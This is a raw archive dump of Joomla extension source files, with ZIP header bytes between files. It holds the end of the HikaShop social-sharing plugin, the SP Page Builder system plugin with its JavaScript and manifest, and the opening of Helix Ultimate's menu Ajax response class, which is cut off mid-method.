		$count = $layouts[ (int)@$plugin->params['pinterest_display'] ];

		if(!empty($element->url_canonical))
			$url = hikashop_cleanURL($element->url_canonical);
		else
			$url = hikashop_currentURL('',false);
		$description = $this->_cleanDescription($element->description, 500);
		return '<span class="hikashop_social_pinterest'.$c.'"><a href="//pinterest.com/pin/create/button/?url='.urlencode($url).'&media='.urlencode($imageUrl).'&description='.rawurlencode($description).'" class="pin-it-button" count-layout="'.$count.'"><img border="0" src="//assets.pinterest.com/images/PinExt.png" title="Pin It" /></a></span>';
	}

	function _addTwitterButton(&$plugin) {
		if(empty($plugin->params['display_twitter']))
			return '';

		$element = $this->_getElementInfo();
		if(empty($element))
			return '';

		$layouts = array(0 => 'horizontal', 1 => 'vertical', 2 => 'none');
		$count = $layouts[ (int)$plugin->params['twitter_count'] ];

		$c = '';
		if($plugin->params['twitter_count'] == 0)
			$c .= '_horizontal';
		if($plugin->params['position'] == 1)
			$c .= '_right';

		$message = '';
		if(!empty($plugin->params['twitter_text']))
			$message = ' data-text="'.$plugin->params['twitter_text'].'"';

		$mention = '';
		if(!empty($plugin->params['twitter_mention']))
			$mention = ' data-via="'.$plugin->params['twitter_mention'].'"';

		$mainLang = JFactory::getLanguage();
		$locale = strtolower(substr($mainLang->get('tag'), 0, 2));

		$lang = '';
		if(in_array($locale, array('fr', 'de', 'es', 'it', 'ja', 'ru', 'tr', 'ko')))
			$lang = ' data-lang="'.$locale.'"';

		if (isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) != 'off')) {
			$this->meta['hikashop_twitter_js_code'] = '
<script type="text/javascript">
function twitterPop(str) {
	mywindow = window.open(\'http://twitter.com/share?url=\'+str,"Tweet_widow","channelmode=no,directories=no,location=no,menubar=no,scrollbars=no,toolbar=no,status=no,width=500,height=375,left=300,top=200");
	mywindow.focus();
}
</script>';

			if(!empty($element->url_canonical))
				$url = hikashop_cleanURL($element->url_canonical);
			else
				$url = hikashop_currentURL('',false);

			return '<span class="hikashop_social_tw'.$c.'"><a href="javascript:twitterPop(\''.$url.'\')"><img src="'.HIKASHOP_IMAGES.'icons/tweet_button.jpg"></a></span>';
		}

		return '<span class="hikashop_social_tw'.$c.'"><a href="//twitter.com/share" class="twitter-share-button"'.$message.' data-count="'.$count.'"'.$mention.$lang.'>Tweet</a><script type="text/javascript" src="//platform.twitter.com/widgets.js"></script></span>';
	}

	function _addFacebookButton(&$plugin) {
		if(empty($plugin->params['display_fb']))
			return '';

		$element = $this->_getElementInfo();
		if(empty($element))
			return '';

		$options = array(
			'layout' => 'standard',
			'width' => 400
		);
		$xfbml_options = array();

		$classname = 'standard';
		switch((int)$plugin->params['fb_style']) {
			case 1:
				$classname = 'button_count';
				$options['layout'] = 'button_count';
				$xfbml_options['layout'] = 'button_count';
				$options['width'] = 115;
				break;
			case 2:
				$classname = 'box_count';
				$options['layout'] = 'box_count';
				$xfbml_options['layout'] = 'box_count';
				$options['width'] = 115;
				break;
			case 3:
				$classname = 'button';
				$options['layout'] = 'button';
				$xfbml_options['layout'] = 'button';
				$options['width'] = 65;
				break;
		}

		if(empty($plugin->params['fb_faces'])) {
			$options['show_faces'] = 'false';
			$xfbml_options['show-faces'] = 'false';
		} else {
			$options['show_faces'] = 'true';
			$xfbml_options['show-faces'] = 'false'; // in the first version of the plugin, in fact is was set to "false", so...
		}

		if(empty($plugin->params['fb_verb'])) {
			$options['action'] = 'like';
		} else {
			$options['action'] = 'recommend';
			$xfbml_options['action'] = 'recommend';
		}

		if(empty($plugin->params['fb_theme'])) {
			$options['colorscheme'] = 'light';
		} else {
			$options['colorscheme'] = 'dark';
			$xfbml_options['colorscheme'] = 'dark';
		}

		$fonts = array(
			0 => 'arial',
			1 => 'lucida%20grande',
			2 => 'segoe%20ui',
			3 => 'tahoma',
			4 => 'trebuchet%20ms',
			5 => 'verdana',
		);
		if(isset($fonts[ (int)$plugin->params['fb_font'] ])) {
			$options['font'] = $fonts[ (int)$plugin->params['fb_font'] ];
			$xfbml_options['font'] = $fonts[ (int)$plugin->params['fb_font'] ];
		}

		if(!empty($plugin->params['fb_send']))
			$xfbml_options['send'] = 'true';

		if(!empty($element->url_canonical))
			$url = hikashop_cleanURL($element->url_canonical);
		else
			$url = hikashop_currentURL('', false);

		$html = '';

		if($plugin->params['display_fb'] != 2) {
			$html = '<span class="hikashop_social_fb">';
			if($plugin->params['position'] == 1)
				$html = '<span class="hikashop_social_fb_right">';

			$url_options = array();
			if($plugin->params['fb_tag'] == 'iframe') {

				foreach($options as $k => $v) {
					$url_options[] = $k . '=' . urlencode($v);
				}

				$html .= '<iframe '.
					'src="//www.facebook.com/plugins/like.php?href='.urlencode($url).'&amp;send=false&amp;'.implode('&amp;', $url_options).'&amp;height=30" '.
					'scrolling="no" frameborder="0" allowTransparency="true" '.
					'style="border:none; overflow:hidden;" class="hikashop_social_fb_'.$classname.'"></iframe>';
			} else {
				foreach($xfbml_options as $k => $v) {
					$url_options[] = 'data-' . $k . '="' . urlencode($v) . '"';
				}
				if(empty($plugin->params['fb_mode'])){
					$plugin->params['fb_mode'] = 'fb-like';
				}
				$html .= '<div class="'.$plugin->params['fb_mode'].'" data-href="'.$url.'" '.implode(' ', $url_options).'></div>';
			}

			$html .= '</span>';
		}

		$this->meta['property="og:title"'] = '<meta property="og:title" content="'.htmlspecialchars($element->name, ENT_COMPAT,'UTF-8').'"/> ';

		$types = array(
			0 => 'product',
			1 => 'album',
			2 => 'book',
			3 => 'company',
			4 => 'drink',
			5 => 'game',
			6 => 'movie',
			7 => 'song',
		);
		if(isset($types[ (int)$plugin->params['fb_type']]))
			$this->meta['property="og:type"']='<meta property="og:type" content="'.$types[ (int)$plugin->params['fb_type']].'"/> ';

		$config =& hikashop_config();
		$uploadFolder = ltrim(JPath::clean(html_entity_decode($config->get('uploadfolder','media/com_hikashop/upload/'))), DS);
		$uploadFolder = rtrim($uploadFolder,DS) . DS;
		$this->uploadFolder_url = str_replace(DS, '/', $uploadFolder);
		$this->uploadFolder = JPATH_ROOT . DS . $uploadFolder;
		$this->thumbnail = $config->get('thumbnail', 1);
		$this->thumbnail_y = $config->get('product_image_y', $config->get('thumbnail_y'));
		$this->thumbnail_x = $config->get('product_image_x', $config->get('thumbnail_x'));
		$this->main_thumbnail_x = $this->thumbnail_x;
		$this->main_thumbnail_y = $this->thumbnail_y;
		$this->main_uploadFolder_url = $this->uploadFolder_url;
		$this->main_uploadFolder = $this->uploadFolder;

		$imageUrl = $this->_getImageURL($element);
		if(!empty($imageUrl))
			$this->meta['property="og:image"']='<meta property="og:image" content="'.$imageUrl.'" /> ';

		$this->meta['property="og:url"']='<meta property="og:url" content="'.$url.'" />';
		$description = $this->_cleanDescription($element->description);
		$this->meta['property="og:description"'] = '<meta property="og:description" content="'.$description.'"/> ';

		$jconf = JFactory::getConfig();
		if(HIKASHOP_J30)
			$siteName = $jconf->get('sitename');
		else
			$siteName = $jconf->getValue('config.sitename');
		$this->meta['property="og:site_name"'] = '<meta property="og:site_name" content="'.htmlspecialchars($siteName, ENT_COMPAT,'UTF-8').'"/> ';

		if(!empty($plugin->params['admin']))
			$this->meta['property="fb:admins"'] = '<meta property="fb:admins" content="'.htmlspecialchars($plugin->params['admin'], ENT_COMPAT,'UTF-8').'" />';

		return $html;
	}

	function _getElementInfo() {
		if(version_compare(JVERSION,'3.0','>=')) {
			$app = JFactory::getApplication();
			$option = $app->input->getVar('option');
			$ctrl = $app->input->getVar('ctrl');
			$task = $app->input->getVar('task');
		} else {
			$option = JRequest::getVar('option');
			$ctrl = JRequest::getVar('ctrl');
			$task = JRequest::getVar('task');
		}

		$ret = new stdClass();

		if(in_array($option, array('com_hikamarket', '')) && $ctrl == 'vendor' && $task == 'show') {
			$element = $this->_getVendorInfo();
			$ret->type = 'vendor';
			$ret->id = (int)$element->vendor_id;
			$ret->name = $element->vendor_name;
			$ret->description = $element->vendor_description;
			$ret->url_canonical = @$element->vendor_canonical;
			$ret->image = $element->vendor_image;
		} else {
			$element = $this->_getProductInfo();
			$ret->type = 'product';
			$ret->id = (int)$element->product_id;
			$ret->name = $element->product_name;
			$ret->description = $element->product_description;
			$ret->url_canonical = @$element->product_canonical;
		}

		return $ret;
	}

	function _getProductInfo() {
		static $product = null;
		if($product !== null)
			return $product;

		$app = JFactory::getApplication();
		$product_id = (int)hikashop_getCID('product_id');
		$menus = $app->getMenu();
		$menu = $menus->getActive();
		if(empty($menu) && !empty($Itemid)) {
			$menus->setActive($Itemid);
			$menu = $menus->getItem($Itemid);
		}
		if(empty($product_id) && is_object($menu)) {
			jimport('joomla.html.parameter');
			$params = new JParameter($menu->params);
			$product_id = $params->get('product_id');
		}
		$product = false;
		if(!empty($product_id)) {
			$productClass = hikashop_get('class.product');
			$product = $productClass->get($product_id);
			if(!empty($product) && $product->product_type == 'variant') {
				$product = $productClass->get($product->product_parent_id);
			}
		}
		return $product;
	}

	function _getVendorInfo() {
		static $vendor = null;
		if($vendor !== null)
			return $vendor;

		$app = JFactory::getApplication();
		$vendor_id = (int)hikashop_getCID('vendor_id');
		$menus = $app->getMenu();
		$menu = $menus->getActive();
		if(empty($menu) && !empty($Itemid)) {
			$menus->setActive($Itemid);
			$menu = $menus->getItem($Itemid);
		}
		if(empty($vendor_id) && is_object($menu) && !empty($menu->params)) {
			jimport('joomla.html.parameter');
			$params = new JParameter($menu->params);
			$vendor_id = $params->get('vendor_id');
		}
		$vendor = false;
		if(!empty($vendor_id)) {
			$vendorClass = hikamarket::get('class.vendor');
			$vendor = $vendorClass->get($vendor_id);
		}
		return $vendor;
	}

	function _getImageURL($element) {
		$config =& hikashop_config();
		$uploadFolder = ltrim(JPath::clean(html_entity_decode($config->get('uploadfolder','media/com_hikashop/upload/'))),DS);
		$uploadFolder = rtrim($uploadFolder,DS).DS;
		$this->uploadFolder_url = str_replace(DS,'/',$uploadFolder);
		$this->main_uploadFolder_url = $this->uploadFolder_url;

		$imageUrl = '';

		if($element->type == 'vendor') {
			$imageUrl = JURI::base() . $this->main_uploadFolder_url . ltrim($element->image, '/');
		} else {
			$product_id = (int)$element->id;

			$db = JFactory::getDBO();
			$queryImage = 'SELECT * FROM '.hikashop_table('file').' WHERE file_ref_id='.$product_id.'  AND file_type=\'product\' ORDER BY file_ordering ASC, file_id ASC';
			$db->setQuery($queryImage);
			$image = $db->loadObject();
			if(empty($image)) {
				$queryImage = 'SELECT * FROM '.hikashop_table('file').' as a LEFT JOIN '.hikashop_table('product').' as b ON a.file_ref_id=b.product_id  WHERE product_parent_id='.$product_id.'  AND file_type=\'product\' ORDER BY file_ordering ASC, file_id ASC';
				$db->setQuery($queryImage);
				$image = $db->loadObject();
			}
			if(!empty($image))
				$imageUrl = JURI::base() . $this->main_uploadFolder_url . ltrim($image->file_path, '/');
		}
		return $imageUrl;
	}

	function _cleanDescription($description, $max = 0){
		$description = preg_replace('#\{(load)?(module|position|modulepos) +[a-z_0-9]+\}#i','',$description);

		$description = preg_replace('#\{(slider|tab|modal|tip|article|snippet)(-[a-z_0-9]+)? +[a-z_ 0-9\|]+\}.*\{\/(slider|tab|modal|tip|article|snippet)s?(-[a-z_0-9]+)?\}#Usi','',$description);

		$description = htmlspecialchars(strip_tags($description), ENT_COMPAT,'UTF-8');

		if($max && strlen($description) > $max)
			$description = substr($description, 0, $max-4).'...';
		return $description;
	}
}
PK!�#o,,hikashopsocial/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!*�>~��sppagebuilder/assets/js/init.jsnu&1i�jQuery(document).ready(function($) {

	if(spPagebuilderEnabled) {
		$(spIntergationElement).hide();
		$('.sp-pagebuilder-admin').show();
		$('.btn-action-sppagebuilder').addClass('sp-pagebuilder-btn-success active');
	} else {
		$('.sp-pagebuilder-admin').hide();
		$(spIntergationElement).show();
		$('.btn-action-editor').addClass('sp-pagebuilder-btn-success active');
	}

	$('.sp-pagebuilder-btn-switcher').on('click',function(event){
		event.preventDefault();

		$('.sp-pagebuilder-btn-switcher').removeClass('active sp-pagebuilder-btn-success');
		$(this).addClass('active').addClass('sp-pagebuilder-btn-success');

		var action = $(this).data('action');

		// get shared parent container
		var $container = $(this).parent('.sp-pagebuilder-btn-group').parent();

		if (action === 'editor') {
			$('.sp-pagebuilder-admin').hide();
			$(spIntergationElement).show();
			$('#jform_attribs_sppagebuilder_active').val('0');

			if (typeof WFEditor !== 'undefined') {
				$('.wf-editor', $container).each(function() {
					var value = this.nodeName === "TEXTAREA" ? this.value : this.innerHTML;

					// pass content from textarea to editor
					Joomla.editors.instances[this.id].setValue(value);

					// show editor and tabs
					$(this).parent('.wf-editor-container').show();
				});
			}

		} else {

			if (typeof WFEditor !== 'undefined') {
				$('.wf-editor', $container).each(function() {
					// pass content to textarea
					Joomla.editors.instances[this.id].getValue();

					// hide editor and tabs
					$(this).parent('.wf-editor-container').hide();
				});
			}

			$(spIntergationElement).hide();
			$('.sp-pagebuilder-admin').show();
			$('#jform_attribs_sppagebuilder_active').val('1');
		}
	});
});
PK!�y�@

sppagebuilder/sppagebuilder.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
    <name>System - SP PageBuilder</name>
    <author>JoomShaper.com</author>
    <creationDate>Sep 2016</creationDate>
    <copyright>Copyright (c) 2010 - 2021 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.4</version>
    <description>SP Page Builder System plugin to add support for 3rd party components</description>

    <files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
        <folder plugin="sppagebuilder">assets</folder>
    </files>
</extension>
PK!���R�3�3sppagebuilder/sppagebuilder.phpnu&1i�<?php

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
//no direct accees
defined('_JEXEC') or die('restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Component\ComponentHelper;

JLoader::register('SppagebuilderHelper', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php');
JLoader::register('SppagebuilderHelperIntegrations', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/integrations.php');

class  plgSystemSppagebuilder extends JPlugin
{

  protected $autoloadLanguage = true;

  function onBeforeRender()
  {
    $app = Factory::getApplication();
    if ($app->isClient('administrator')) {
      $integration = self::getIntegration();

      if (!$integration) {
        return;
      }

      $input = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view = $input->get('view', '', 'STRING');
      $layout = $input->get('layout', '', 'STRING');

      if (!($option == 'com_' . $integration['group'] && $view == $integration['view'])) {
        return;
      }

      // Get ID
      $id = $input->get($integration['id_alias'], 0, 'INT');

      require_once JPATH_ROOT . '/administrator/components/com_sppagebuilder/builder/classes/base.php';
      require_once JPATH_ROOT . '/administrator/components/com_sppagebuilder/builder/classes/config.php';

      self::loadPageBuilderLanguage();

      SppagebuilderHelper::loadAssets('css');
      SppagebuilderHelper::addStylesheet('react-select.css');

      $doc = Factory::getDocument();
      $params = ComponentHelper::getParams('com_sppagebuilder');

      HTMLHelper::_('jquery.framework');
      $doc->addScript(Uri::root(true) . '/plugins/system/sppagebuilder/assets/js/init.js?' . SppagebuilderHelper::getVersion(true));

      //SppagebuilderHelper::loadEditor();
      if (JVERSION < 4) {
        $doc->addScriptdeclaration('var tinyTheme="modern";');
      } else {
        $doc->addScriptdeclaration('var tinyTheme="silver";');
        $doc->addStyledeclaration('.tox-tinymce-aux {z-index: 130012 !important;}');
      }

      $doc->addScript(Uri::base(true) . '/components/com_sppagebuilder/assets/js/script.js?' . SppagebuilderHelper::getVersion(true));
      $doc->addScriptdeclaration('var pagebuilder_base="' . Uri::root() . '";');

      // Addon List Initialize
      SpPgaeBuilderBase::loadAddons();
      $fa_icon_list     = SpPgaeBuilderBase::getIconList(); // Icon List
      $animateNames     = SpPgaeBuilderBase::getAnimationsList(); // Animation Names
      $accessLevels     = SpPgaeBuilderBase::getAccessLevelList(); // Access Levels
      $article_cats     = SpPgaeBuilderBase::getArticleCategories(); // Article Categories
      $moduleAttr       = SpPgaeBuilderBase::getModuleAttributes(); // Module Postions and Module Lits
      $rowSettings      = SpPgaeBuilderBase::getRowGlobalSettings(); // Row Settings Attributes
      $columnSettings   = SpPgaeBuilderBase::getColumnGlobalSettings(); // Column Settings Attributes
      $global_attributes = SpPgaeBuilderBase::addonOptions();

      // Addon List
      $addons_list    = SpAddonsConfig::$addons;
      $globalDefault = SpPgaeBuilderBase::getSettingsDefaultValue($global_attributes);

      PluginHelper::importPlugin('system');

      foreach ($addons_list as $key => &$addon) {
        $new_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($addon['attr']);
        $addon['default'] = array_merge($new_default_value['default'], $globalDefault['default']);

        if (JVERSION < 4) {
          $dispatcher = JDispatcher::getInstance();
          $results = $dispatcher->trigger('onBeforeAddonConfigure', array($key, &$addon));
        } else {
          $results = Factory::getApplication()->triggerEvent('onBeforeAddonConfigure', array($key, &$addon));
        }
      }

      $row_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($rowSettings['attr']);
      $rowSettings['default'] = $row_default_value;

      $column_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($columnSettings['attr']);
      $columnSettings['default'] = $column_default_value;

      $doc->addScriptdeclaration('var addonsJSON=' . json_encode($addons_list) . ';');

      // Addon Categories
      $addon_cats = SpPgaeBuilderBase::getAddonCategories($addons_list);
      $doc->addScriptdeclaration('var addonCats=' . json_encode($addon_cats) . ';');

      // Global Attributes
      $doc->addScriptdeclaration('var globalAttr=' . json_encode($global_attributes) . ';');
      $doc->addScriptdeclaration('var faIconList=' . json_encode($fa_icon_list) . ';');
      $doc->addScriptdeclaration('var animateNames=' . json_encode($animateNames) . ';');
      $doc->addScriptdeclaration('var accessLevels=' . json_encode($accessLevels) . ';');
      $doc->addScriptdeclaration('var articleCats=' . json_encode($article_cats) . ';');
      $doc->addScriptdeclaration('var moduleAttr=' . json_encode($moduleAttr) . ';');
      $doc->addScriptdeclaration('var rowSettings=' . json_encode($rowSettings) . ';');
      $doc->addScriptdeclaration('var colSettings=' . json_encode($columnSettings) . ';');
      // Media
      $mediaParams = ComponentHelper::getParams('com_media');
      $doc->addScriptdeclaration('var sppbMediaPath=\'/' . $mediaParams->get('file_path', 'images') . '\';');

      // Retrieve content
      $pagebuilder_enbaled = 0;
      $initialState = '[]';

      if ($page_content = self::getPageContent($option, $view, $id)) {
        $pagebuilder_enbaled = $page_content->active;

        if (($page_content->text != '') && ($page_content->text != '[]')) {
          $initialState = $page_content->text;
        }
      }

      $integration_element = '.adminform';

      if ($option == 'com_content') {
        $integration_element = '.adminform';
      } else if ($option == 'com_k2') {
        $integration_element = '.k2ItemFormEditor';
      }

      $doc->addScriptdeclaration('var spIntergationElement="' . $integration_element . '";');
      $doc->addScriptdeclaration('var spPagebuilderEnabled=' . $pagebuilder_enbaled . ';');
      $doc->addScriptdeclaration('var initialState=' . $initialState . ';');
    } else {
      $input  = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view   = $input->get('view', '', 'STRING');
      $task   = $input->get('task', '', 'STRING');
      $id     = $input->get('id', 0, 'INT');
      $pageName = '';

      if ($option == 'com_content' && $view == 'article') {
        $pageName = "{$view}-{$id}.css";
      } elseif ($option == 'com_j2store' && $view == 'products' && $task == 'view') {
        $pageName = "article-{$id}.css";
      } elseif ($option == 'com_k2' && $view == 'item') {
        $pageName = "item-{$id}.css";
      } elseif ($option == 'com_sppagebuilder' && $view == 'page') {
        $pageName = "{$view}-{$id}.css";
      }

      $file_path  = JPATH_ROOT . '/media/sppagebuilder/css/' . $pageName;
      $file_url   = Uri::base(true) . '/media/sppagebuilder/css/' . $pageName;
      if (file_exists($file_path)) {
        $doc = Factory::getDocument();
        $doc->addStyleSheet($file_url);
      }
    }
  }


  function onAfterRender()
  {
    $app = Factory::getApplication();

    if ($app->isClient('administrator')) {
      $integration = self::getIntegration();

      if (!$integration) {
        return;
      }

      $input = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view = $input->get('view', '', 'STRING');
      $layout = $input->get('layout', '', 'STRING');
      $id = $input->get($integration['id_alias'], 0, 'INT');

      if (!($option == 'com_' . $integration['group'] && $view == $integration['view'])) {
        return;
      }

      if (isset($integration['frontend_only']) && $integration['frontend_only']) {
        return;
      }

      // Page Builder state
      $pagebuilder_enbaled = 0;
      if ($page_content = self::getPageContent($option, $view, $id)) {
        $pagebuilder_enbaled = $page_content->active;
      }

      // Add script
      $body = $app->getBody();
      if ($option == 'com_k2') {
        $body = str_replace('<div class="k2ItemFormEditor">', '<div class="sp-pagebuilder-btn-group sp-pagebuilder-btns-alt"><a href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-editor" data-action="editor">Joomla Editor</a><a data-action="sppagebuilder" href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-sppagebuilder">SP Page Builder</a></div><div class="sp-pagebuilder-admin pagebuilder-' . str_replace('_', '-', $option) . '" style="display: none;"><div id="sp-pagebuilder-page-tools" class="sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div><div class="k2ItemFormEditor">', $body);
      } else {
        $body = str_replace('<fieldset class="adminform">', '<div class="sp-pagebuilder-btn-group sp-pagebuilder-btns-alt"><a href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-editor" data-action="editor">Joomla Editor</a><a data-action="sppagebuilder" href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-sppagebuilder">SP Page Builder</a></div><div class="sp-pagebuilder-admin pagebuilder-' . str_replace('_', '-', $option) . '" style="display: none;"><div id="sp-pagebuilder-page-tools" class="sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div><fieldset class="adminform">', $body);
      }

      // Page Builder fields
      $body = str_replace('</form>', '<input type="hidden" id="jform_attribs_sppagebuilder_content" name="jform[attribs][sppagebuilder_content]"></form>' . "\n", $body);
      $body = str_replace('</form>', '<input type="hidden" id="jform_attribs_sppagebuilder_active" name="jform[attribs][sppagebuilder_active]" value="' . $pagebuilder_enbaled . '"></form>' . "\n", $body);

      // Add script
      $body = str_replace('</body>', '<script type="text/javascript" src="' . JURI::base(true) . '/components/com_sppagebuilder/assets/js/engine.js?' . SppagebuilderHelper::getVersion(true) . '"></script>' . "\n</body>", $body);
      $app->setBody($body);
    }
  }

  private static function loadPageBuilderLanguage()
  {
    $lang = Factory::getLanguage();
    $lang->load('com_sppagebuilder', JPATH_ADMINISTRATOR, $lang->getName(), true);
    $lang->load('tpl_' . self::getTemplate(), JPATH_SITE, $lang->getName(), true);
    require_once JPATH_ROOT . '/administrator/components/com_sppagebuilder/helpers/language.php';
  }

  private static function getPageContent($extension = 'com_content', $extension_view = 'article', $view_id = 0)
  {
    $db = Factory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('text', 'active')));
    $query->from($db->quoteName('#__sppagebuilder'));
    $query->where($db->quoteName('extension') . ' = ' . $db->quote($extension));
    $query->where($db->quoteName('extension_view') . ' = ' . $db->quote($extension_view));
    $query->where($db->quoteName('view_id') . ' = ' . $view_id);
    $db->setQuery($query);
    $result = $db->loadObject();

    if ($result) {
      return $result;
    }

    return false;
  }

  private static function getIntegration()
  {
    $app = Factory::getApplication();
    $option = $app->input->get('option', '', 'STRING');
    $group = str_replace('com_', '', $option);
    $integrations = SppagebuilderHelperIntegrations::integrations();

    if (!isset($integrations[$group])) {
      return false;
    }

    $integration = $integrations[$group];
    $name = $integration['name'];
    $enabled = PluginHelper::isEnabled($group, $name);

    if ($enabled) {
      return $integration;
    }

    return false;
  }

  private static function getTemplate()
  {
    $db = Factory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('template')));
    $query->from($db->quoteName('#__template_styles'));
    $query->where($db->quoteName('client_id') . ' = ' . $db->quote(0));
    $query->where($db->quoteName('home') . ' = ' . $db->quote(1));
    $db->setQuery($query);
    return $db->loadResult();
  }

  public function onExtensionAfterSave($option, $data)
  {
    if (($option == 'com_config.component') && ($data->element == 'com_sppagebuilder')) {
      $admin_cache = JPATH_ROOT . '/administrator/cache/sppagebuilder';
      if (Folder::exists($admin_cache)) {
        Folder::delete($admin_cache);
      }

      $site_cache = JPATH_ROOT . '/cache/sppagebuilder';
      if (Folder::exists($site_cache)) {
        Folder::delete($site_cache);
      }
    }
  }
}
PK!�dظAA+helixultimate/src/HttpResponse/Response.phpnu&1i�<?php
/**
 * @package 	Helix_Ultimate_Framework
 * @author 		JoomShaper <joomshaper@js.com>
 * @copyright 	Copyright (c) 2010 - 2020 JoomShaper
 * @license 	http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\HttpResponse;

use HelixUltimate\Framework\Platform\Builders\MegaMenuBuilder;
use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Menu\SiteMenu;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;

defined('_JEXEC') or die();

/**
 * Class for Ajax Http Response.
 * This is handle Ajax request.
 *
 * @since   1.0.0
 */
class Response
{
	/**
	 * Response for the request getMenuItems.
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	public static function getMenuItems()
	{
		$input = Factory::getApplication()->input;
		$menuType = $input->get('menutype', 'mainmenu', 'STRING');

		$items = self::getItems($menuType);

		return [
			'status' => true,
			'data' => self::generateMenuTree($items),
			'items' => $items
		];
	}

	/**
	 * Response for the request parentAdoption
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	public static function parentAdoption()
	{
		$input = Factory::getApplication()->input;
		$itemId = $input->post->get('id', 0, 'INT');
		$parentId = $input->post->get('parent', 0, 'INT');

		if ($itemId > 0 && $parentId > 0)
		{
			$data = new \stdClass;
			$data->id = $itemId;
			$data->parent_id = $parentId;

			try
			{
				$itemModel = self::getMenuItemModel();
				$db = Factory::getDbo();
				$db->updateObject('#__menu', $data, 'id');

				$itemModel->rebuild();
			}
			catch (Exception $e)
			{
				echo $e->getMessage();
			}
		}

		return [
			'status' => true,
			'data' => [$data]
		];
	}

	/**
	 * Get menu item model instance.
	 *
	 * @return	ItemModel
	 * @since	2.0.0
	 */
	private static function getMenuItemModel()
	{
		if (JoomlaBridge::getVersion('major') < 4)
		{
			$classUrl = JPATH_ADMINISTRATOR . '/components/com_menus/models/item.php';
			$tablePath = JPATH_ADMINISTRATOR . '/components/com_menus/tables';
		}

		if (JoomlaBridge::getVersion('major') < 4)
		{
			if (!\class_exists('MenusModelItem') && \file_exists($classUrl))
			{
				require_once $classUrl;
			}

			Table::addIncludePath($tablePath);
		}


		return JoomlaBridge::getVersion('major') >= 4
			? new \Joomla\Component\Menus\Administrator\Model\ItemModel
			: new \MenusModelItem;
	}

	/**
	 * Rebuild the menu tree
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public static function rebuildMenu()
	{
		try
		{
			$itemModel = self::getMenuItemModel();
			$itemModel->rebuild();
		}
		catch (\Exception $e)
		{
			return [
				'status' => false,
				'message' => $e->getMessage()
			];
		}

		return [
			'status' => true,
			'message' => 'Rebuilding done'
		];
	}

	/**
	 * Get Menu Items for a specific menu type
	 *
	 * @return	string
	 * @since	2.0.0
	 */
	private static function getItems($menuType)
	{
		$items = [];

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);

			$query->select('id, title, menutype, alias, parent_id, level, lft, rgt, published')
				->from($db->qn('#__menu'))
				->where($db->qn('menutype') . ' = ' . $db->q($menuType))
				->where($db->qn('published') . ' IN (0,1)');
			$query->order($db->qn('lft') . ' ASC');

			$db->setQuery($query);

			$items = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			echo $e->getMessage();
		}

		return $items;
	}

	/**
	 * Generate Menu Item Tree
	 *
	 * @param	array	$items	The items array.
	 *
	 * @return 	string	The HTML string.
	 * @since	2.0.0
	 */
	private static function generateMenuTree($items)
	{
		$html = [];

		if (!empty($items))
		{
